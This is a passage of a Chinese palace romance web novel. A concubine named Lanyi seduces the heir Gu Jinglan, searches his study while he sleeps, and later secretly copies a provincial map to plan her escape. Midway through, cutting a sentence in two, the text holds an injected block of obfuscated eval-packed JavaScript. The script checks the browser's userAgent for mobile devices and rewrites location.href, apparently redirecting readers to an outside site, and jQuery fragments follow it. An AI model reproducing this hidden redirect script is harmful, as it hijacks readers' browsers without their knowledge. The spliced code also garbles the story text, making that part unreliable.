清荷见她这般柔弱可怜的模样,又听她说得情真意切,心头顿时软了大半,先前的叮嘱也咽了回去。她暗自叹了口气,只觉得兰漪身世确实可怜,在这深宅大院里无依无靠,也难怪会这般依赖世子爷。
这般想着,她便没再反对兰漪的想法,只温声劝道:“姑娘一片痴心,世子爷定会知晓的。只是姑娘若是真要去送膳,可得仔细些,莫要真扰了世子爷办公才好。”
兰漪闻言,眼中霎时漾开一抹浅淡的暖意,仿佛冰雪融春,她轻轻点了点头,那动作温顺又乖巧,声音柔得像水:“我都记在心里了。不过是想备些清淡的吃食,怕世子爷顾不上用膳,送去便回,绝不耽搁他。”
几日后,兰漪算着时辰,特意提前吩咐小厨房备下了几样精致适口的膳点。趁着暮色渐浓,往书房走去。
抵达书房门口,她便对守在门外的小厮吩咐道:“世子爷正在忙,我在此处等着便是,不必进去通报,免得扰了他的心神。”
小厮知晓兰漪是顾惊澜身边的女人,不敢怠慢,却也不敢违逆书房的规矩,只得应了声,退到一旁候着。
兰漪便静静立在廊下,晚风带着凉意吹过,掀起她衣袍的边角。
这一等,便是足足两个时辰。从暮色沉沉到月色满天,廊下的宫灯映着她纤弱的身影,显得格外单薄。
期间有小厮瞧着她立得辛苦,想请她去旁边的耳房歇着,都被她婉言拒绝了:“不必了,我就在此处等着世子爷,免得他出来时瞧不见我。”
直至夜晚,书房的门才缓缓打开。顾惊澜处理完事务,揉了揉发胀的太阳穴,刚踏出房门,便瞧见廊下立着的身影,不由得一怔。
走近了才看清是兰漪,她的脸颊被夜风吹得泛红,神色带着几分疲惫,却依旧强撑着站在那里。
“你怎么在此处?”顾惊澜的声音带着急促,走上前便握住她的手,只觉她的指尖冰凉,心头顿时涌上一股心疼,“这么晚了,为何不进去通报?在这冷风里站了许久?”
兰漪抬起头,眼中含着一丝水汽,语气温柔道:“妾身瞧着世子爷事务繁忙,便不想进去扰您。只是想着您定是许久未曾用膳,便备了些膳点送来。”
顾惊澜听着她的话,心疼之意更甚。他将自己的外袍解下,披在她身上,裹紧了她微凉的身子,语气带着些许无奈:“你莫不是个蠢的。”
说着,他便牵着她的手往书房内走去:“往后若是送膳过来,直接进来便是,不必在此处等着受冻。书房虽说是重地,你无需忌讳,只管进来候着便是。”
兰漪任由他牵着,进门后却止不住的打量周遭,屋内陈设简洁,正中是一张宽大的紫檀木案桌,案上堆着些许奏折与文书,两侧则立着两架高耸的梨花木书架,满满当当摆着各类典籍,瞧着竟有数百卷之多。
她的目光刻意多在书架上停留,细细留意着每一层的摆放,却并未瞧见舆图的踪迹。
不仅如此,她一眼便瞧见了她所绘的那副丹青就挂在顾惊澜的案桌旁。
那幅兰草图抬眼便可瞧见。
紧接着她收回目光,乖巧的坐在顾惊澜身侧,捻起一块小巧的桂花酥,用帕子衬着,递到顾惊澜唇边,声音软软地道:“世子爷快些尝尝这糕点,是妾身特意命人做的。”
她垂着眼帘,长长的睫毛轻轻颤动,侧脸在灯火下显得愈发柔和,唇瓣因方才的言语微微泛红,模样温顺又娇俏。顾惊澜瞧着她这副模样,只觉秀色可餐,比案上的糕点还要诱人几分。
他顺从地张口,含住那块桂花酥,舌尖轻轻一卷,便将糕点含入腹中,桂花的甜香在口中弥漫开来,却远不及身旁人的气息让他心猿意马。
糕点的甜意混着兰漪身上淡淡的兰草香,让顾惊澜心头的燥热瞬间涌起。他咽下糕点,反手便握住兰漪递糕点的手,指尖摩挲着她细腻的肌肤,目光灼灼地盯着她。
紧接着,他俯身将兰漪打横抱起。兰漪惊呼一声,下意识地搂住他的脖颈,脸颊瞬间染上绯红,眼底闪过一丝慌乱,却又很快压下,装作娇羞的模样,轻轻靠在他肩头。
顾惊澜低笑一声,抱着她走向书房内侧的小榻。那本是他处理事务累了歇脚之处,此刻成了二人缱绻的地方。
他轻轻将兰漪放在柔软的锦垫上,随即俯身覆了上去。接着,一室缱绻,直至夜渐深沉。
一番贪.欢过后,兰漪浑身酸软,靠在榻上微微喘息。顾惊澜将她揽入怀中,下巴抵着她的发顶,呼吸渐渐平稳,不多时便沉沉睡了过去,想来是连日处理事务加之方才的情动,实在累极了。
兰漪在他怀中静静躺了片刻,待身上的酸软稍缓,便缓缓睁开了眼睛。
她侧耳听着顾惊澜均匀的呼吸声,眼底的温顺尽数褪去,取而代之的是一丝冰冷。她小心翼翼地挪开顾惊澜揽着她腰肢的手,动作轻柔,生怕惊醒了他。
蹑手蹑脚地下了榻,她拢了拢散乱的衣衫,借着窗外透进来的月光,目光迅速锁定了书架。
她屏住呼吸,快步走到书架前,指尖在一排排典籍中轻轻摸索,心脏因紧张而剧烈跳动,几乎要跳出胸腔。
好在兰漪运气好,这舆图还真在书架上。她伸手抽出一卷,借着月光定睛一看,虽不是青州的舆图,但是能够说明各州的舆图都在这层书架上。
她的心头刚兴起一阵狂喜,身后却忽然传来顾惊澜翻了个身的动静,紧接着便是一声带着睡意的低哼。
兰漪吓得魂飞魄散,手忙脚乱地将舆图塞回原处,便转身快步跑回榻边,轻轻躺回顾惊澜身侧,顺势往他怀中靠了靠,装作熟睡的模样。
好在顾惊澜睡的熟,兰漪才暗暗松了口气。
翌日兰漪离开书房时步子都是虚软的,得清荷搀着。原因无他,无非就是晨起时顾惊澜又忍不住逗弄了她一番。
不过好在接下来的几日,顾惊澜倒没空再这般缠她。
兰漪从下人口中听闻,敦亲王妃要在府中设宴款待宾客,府里上上下下都忙着筹备此事,顾惊澜身为王府世子,自然要帮忙应酬。
这般关乎门第体面的宴客之事,本就与她这个无品无级的通房格格不入。她既无资格登堂入席,也不便在前院露脸,唯有安分守己地待在静姝院,不添乱、不越矩,便是最好的处境。
兰漪心中门儿清,对此事本就没半分期待,更谈不上失落。
清荷瞧着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274894|198191||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对此事毫无波澜,反倒有些担心她暗自伤心。
这些日子,她在当差时,总免不了听见些闲言碎语。无非就是府上的下人私下奚落兰漪身份,不配沾王府宴席的边。更有有得势的丫鬟嚼舌根,说她不过是世子一时新鲜的玩物,连出席宴席的资格都没有,往后迟早被抛在脑后。
那些话刻薄又刺耳,清荷听得心头冒火,却又无力反驳。于是清荷平日里便刻意避开这个话题,半句不提及前院宴客的动静,只一心伺候她的起居。
兰漪瞧着清荷小心翼翼的模样,心中暗觉好笑。那些下人的奚落,她早已从旁人的神色与语气中窥得一二,只是懒得计较罢了。于她而言,顾惊澜日日被宴席缠身、无暇顾及静姝院,反倒合了她的心意。
不过她面上却依旧维持着温顺的神色,半点看不出异样。
-
机会来得比预想中更快。这日午后,兰漪听闻顾惊澜被友人约去城外酒楼,一时半会回不来,当即定了主意。
她寻了件素净的衣衫换上,又悄悄将早已备好的纸笔藏在袖中,对清荷说要去花园散心,便独自一人往书房走去。
到了书房门口,守在那里的两个侍卫见了她,当即躬身行礼。
兰漪面上露出几分温婉的笑意:“劳烦两位通报一声,前段时日我来这里给世子爷送膳,不慎将一支常用的银簪落在了书房内,今日特来寻回。”
那两个侍卫对视一眼,心中已然有数。他们自然知晓,前些日子世子爷对这位兰姑娘的看重,府里上下也有目共睹,她的地位早已不同寻常。
况且不过是回书房寻件私物,并非什么要紧事,若是拦着,反倒容易得罪人。
其中一个侍卫连忙应道:“姑娘客气了,世子爷不在府中,姑娘既是来寻物,便请自行进去吧,只是还请姑娘莫要乱动世子爷的案牍上的文书。”说罢,便侧身让开了道路。
兰漪微微颔首,道了声“多谢”,便快步走进了书房。一进门,她便反手掩上房门,心脏紧张地砰砰直跳,径直走向西侧的书架。
有了上回的经验,她轻车熟路地在中层找到了那叠舆图,飞快地翻出青州舆图,摊开在案桌上。
她不敢耽搁,迅速从袖中取出纸笔,凝神静气,凭着自己精湛的绘画技艺与过目不忘的记性,飞快地临摹起来。她深知,若是将舆图偷走,顾惊澜一旦发现,必然会起疑心,到时候她的跑路大计便会功亏一篑。
她并未追求复刻全貌,只专注于临摹沿途的主要驿站、城镇与关键道路,将这些核心信息记在纸上便足够。
兰漪的指尖握着笔杆飞快移动,笔下的线条流畅精准。
她的记性本就极好,只是匆匆一瞥,便能将舆图上的关键信息记在心底,加之绘画功底扎实,不过半个时辰,一幅大致的青州路线图便临摹完成,虽不及原图详尽,却也将主要的行程脉络勾勒得明明白白。
兰漪小心翼翼地将临摹好的图纸折好,藏入贴身的衣袋中,又将原版舆图仔细叠好,放回原处,确保看不出任何翻动过的痕迹。
做完这一切,她长舒一口气,片刻后才拿着一支早已备好的普通银簪,开门离开了书房。